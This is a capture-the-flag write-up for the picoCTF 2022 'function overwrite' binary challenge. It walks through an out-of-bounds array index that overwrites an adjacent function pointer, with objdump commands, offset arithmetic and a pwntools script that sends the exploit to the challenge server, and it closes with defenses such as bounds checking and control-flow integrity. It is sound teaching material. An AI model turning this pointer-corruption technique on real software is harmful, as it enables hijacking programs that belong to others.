Skip to main content

function overwrite picoCTF 2022 Solution

A binary exploitation challenge where a memory corruption vulnerability lets you hijack program control flow.

Published: July 20, 2023Updated: August 13, 2026

Description

The C source is provided. The program reads a 'story', scores it by summing the ASCII values of its characters, then calls a function pointer (check) that initially points at hard_checker. hard_checker demands an impossible score (13371337), but easy_checker only needs 1337. The bug: you can add a value to fun[num1] with a signed, unbounded index, so the index that lands on the check pointer lets you redirect it to easy_checker.

Redirect check from hard_checker to easy_checker, then submit a story whose characters sum to exactly 1337 so easy_checker prints the flag.

Read the C source: note fun[], the check pointer (= &hard_checker), easy_checker (score 1337) vs hard_checker (score 13371337), and fun[num1] += num2 with a signed, unchecked index.

Get the addresses of fun, check, easy_checker, and hard_checker from the symbol table.

Compute the index that reaches check, and the num2 that turns &hard_checker into &easy_checker.

bash
wget https://artifacts.picoctf.net/c/315/vuln && chmod +x vuln
bash
file vuln   # 32-bit ELF -> 4-byte pointers
bash
objdump -t vuln | grep -E 'fun|check|hard_checker|easy_checker'

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Read the source and find the bug
    Observation
    fun[num1] indexes with a signed int and no upper bound. So a chosen out-of-bounds index reaches the check function pointer sitting immediately after the array in .bss.
    The source defines fun[], a function pointer check = &hard_checker, and two checkers: easy_checker prints the flag when the score is 1337, hard_checker when it is 13371337. The program (1) reads a story, (2) reads num1/num2 and runs fun[num1] += num2, (3) scores the story and calls check(). num1 is a signed int with no upper-bound check, so a num1 of 10 writes past the end of fun and lands on the check pointer that sits immediately after the array.
    bash
    objdump -t vuln | grep -E 'fun|check|hard_checker|easy_checker'
    bash
    # confirm: check = &hard_checker; easy_checker needs score 1337; hard_checker needs 13371337

    Expected output

    0804c028 g     O .bss	00000028 fun
    0804c050 g     O .bss	00000004 check
    08049280 g     F .text	00000053 easy_checker
    080492d3 g     F .text	00000053 hard_checker
    What didn't work first

    Tried: Use nm instead of objdump -t to get the symbol addresses.

    nm lists symbol names and values but leaves out the section and size columns that confirm fun is a .bss array with check as a separate pointer beside it. Without that context it is easy to mistake a variable for a function and get the address arithmetic wrong. objdump -t shows section, size, and address together.

    Tried: Run the binary and inspect memory with GDB instead of reading objdump output.

    GDB prints symbol addresses at runtime, but with ASLR on, or PIE enabled, those differ from the static values the exploit calculation uses. This binary is non-PIE, so static addresses hold, but leaning on runtime values builds a habit that breaks the moment PIE appears. objdump -t gives the load-time addresses the exploit actually needs.

    Learn more

    hard_checker's required score (13371337) is unreachable by a bounded story of byte values, so the legitimate path through the default pointer is dead. easy_checker's 1337, by contrast, is easy to hit. The exploit makes the program call easy_checker instead.

    C does no bounds check on array indexing: fun[num1] is *(fun + num1*4) on this 32-bit build. A num1 of 10 resolves to memory just past the end of the array (fun has 10 int-sized slots, indices 0-9), and the linker placed check immediately after fun in .bss, so index 10 aliases the pointer.

  2. Step 2Redirect check to easy_checker
    Observation
    The symbol table puts check directly after fun in .bss, and the operation is += rather than assignment. So compute the index into fun that aliases check, then add the difference between easy_checker and hard_checker to redirect the pointer.
    Compute the index that reaches check: index = (check_addr - fun_addr) / 4. Then compute num2 = easy_checker_addr - hard_checker_addr (it can be negative). Adding num2 to check (currently &hard_checker) turns it into &easy_checker. Read all four addresses from the symbol table.
    python
    python3 -c "
    # from objdump -t vuln:
    fun_addr   = 0x0804c0XX
    check_addr = 0x0804c0YY
    easy = 0x0804XXXX   # easy_checker
    hard = 0x0804YYYY   # hard_checker
    index = (check_addr - fun_addr) // 4   # positive: 10
    num2  = easy - hard                    # add this to check (-> easy_checker)
    print('num1 =', index, ' num2 =', num2)
    "
    What didn't work first

    Tried: Try to set num2 to the full easy_checker address instead of the difference.

    The operation adds to the slot rather than assigning it. Supply easy_checker's address directly and you get hard_checker plus easy_checker, a garbage address that crashes on call. Supply the difference between the two, so the addition turns the existing pointer into the target.

    Tried: Divide (check_addr - fun_addr) by 1 instead of 4 when computing the index.

    fun is an array of 4-byte integers on this 32-bit build, so each index step moves 4 bytes. Divide the byte offset by 1 and the index comes out four times too large, sending the write well past check into unrelated memory. Divide by the element size, 4, and you land on index 10, exactly on check.

    Learn more

    The key realization is that you only get an add, so you do not write an address directly. Instead you compute the difference between the two real function addresses and add it, transforming the pointer from one valid function into the other. This is cleaner and more reliable than trying to jump into the middle of a function.

  3. Step 3Submit a story that scores 1337
    Observation
    easy_checker sums the ASCII values of the story characters and wants exactly 1337. So craft a byte string whose values add up to precisely that before sending the exploit.
    Now that check points at easy_checker, send a story whose summed ASCII value equals 1337. For example 10 'd' characters (0x64 = 100) sum to 1000, then add bytes to reach 1337 (e.g. mix in other characters). Then provide num1 and num2 from the previous step. easy_checker validates the score and prints the flag.
    python
    python3 -c "
    from pwn import *
    
    # choose a story whose byte values sum to exactly 1337
    story = b'd'*13 + bytes([1337 - 13*100])   # 13*100 + 37 = 1337
    fun_addr, check_addr = 0x0804c0XX, 0x0804c0YY
    easy, hard = 0x0804XXXX, 0x0804YYYY
    num1 = (check_addr - fun_addr)//4
    num2 = easy - hard
    
    p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    p.sendlineafter(b'story', story)
    p.sendlineafter(b'num1', str(num1).encode())
    p.sendlineafter(b'num2', str(num2).encode())
    print(p.recvall(timeout=5).decode(errors='replace'))
    "
    What didn't work first

    Tried: Send the story after providing num1 and num2, rather than before.

    The program asks for the story first, then the two numbers. Send the index early and pwntools folds it into the story input, so the story holds your digits as ASCII and the pointer is never corrupted. Follow the prompt order: story, then the first number, then the second.

    Tried: Use a story of all 'A' characters (0x41 = 65) and adjust the count to hit 1337.

    1337 divided by 65 is not a whole number, so no run of 'A' characters lands on it exactly; you overshoot or undershoot and the strict equality check rejects the score. Mix two byte values, or pad with a remainder byte, to hit 1337 precisely.

    Learn more

    The order matters: the add corrupts check to easy_checker, and then the post-scoring call dispatches to easy_checker, which compares the score to 1337 and, on success, prints the flag. The story just needs the right ASCII sum.

    Control Flow Integrity (CFI) is the modern defense: it validates that indirect calls jump only to legitimate function entry points. Even pointing check at a different real function would be allowed by coarse CFI, so the deeper fix is to bounds-check the array index and keep function pointers out of writable, attacker-reachable memory.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{0v3rwrit1ng_P01nt3rs_...}

Not a jump-past-the-gate trick. A signed unbounded index in fun[num1] += num2 reaches the adjacent check pointer; add num2 = easy_checker - hard_checker to redirect check to easy_checker, then submit a story whose ASCII sum is exactly 1337 so easy_checker prints the flag.

Key takeaway

A function pointer in writable global memory becomes attacker-controlled the moment an adjacent buffer can be indexed without bounds checking. Corrupting one redirects control flow without touching the stack at all, which sidesteps stack canaries entirely. The pattern turns up in real exploits against event dispatch tables, vtables, and jump tables wherever an unbounded signed index or an overflow reaches them. The defense is bounds checking every index and keeping sensitive pointers in read-only memory.

Related reading

Useful tools for Binary Exploitation

Where to go next